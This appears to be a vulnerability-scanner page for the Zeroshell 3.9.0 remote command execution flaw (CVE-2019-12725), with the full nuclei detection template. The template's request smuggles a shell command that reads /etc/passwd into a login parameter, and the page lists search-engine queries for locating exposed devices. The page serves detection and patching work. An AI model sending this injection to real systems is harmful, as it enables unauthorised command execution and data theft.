Zeroshell 3.9.0 - Remote Command Execution

criticalseverity

9.8CVSS score

90%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Zeroshell 3.9.0 is prone to a remote command execution vulnerability. Specifically, this issue occurs because the web application mishandles a few HTTP parameters. An unauthenticated attacker can exploit this issue by injecting OS commands inside the vulnerable parameters.

Impact

Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the target system.

Fix

Upgrade to 3.9.5. Be aware this product is no longer supported.

How to confirm it

Send: GET {{BaseURL}}/cgi-bin/kerbynet?Action=StartSessionSubmit&User='%0acat%20/etc/passwd%0a'&PW=
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2019-12725 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2019-12725

info:
  name: Zeroshell 3.9.0 - Remote Command Execution
  author: dwisiswant0,akincibor
  severity: critical
  description: Zeroshell 3.9.0 is prone to a remote command execution vulnerability. Specifically, this issue occurs because the web application mishandles a few HTTP parameters. An unauthenticated attacker can exploit this issue by injecting OS commands inside the vulnerable parameters.
  impact: |
    Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the target system.
  remediation: Upgrade to 3.9.5. Be aware this product is no longer supported.
  reference:
    - https://www.zeroshell.org/new-release-and-critical-vulnerability/
    - https://www.tarlogic.com/advisories/zeroshell-rce-root.txt
    - https://github.com/X-C3LL/PoC-CVEs/blob/master/CVE-2019-12725/ZeroShell-RCE-EoP.py
    - https://zeroshell.org/blog/
    - http://packetstormsecurity.com/files/160211/ZeroShell-3.9.0-Remote-Command-Execution.html
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-12725
    cwe-id: CWE-78
    epss-score: 0.89955
    epss-percentile: 0.99794
    cpe: cpe:2.3:o:zeroshell:zeroshell:3.9.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: zeroshell
    product: zeroshell
    shodan-query: http.title:"zeroshell"
    fofa-query: title="zeroshell"
    google-query: intitle:"zeroshell"
  tags: cve,cve2019,packetstorm,rce,zeroshell,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/kerbynet?Action=StartSessionSubmit&User='%0acat%20/etc/passwd%0a'&PW="

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

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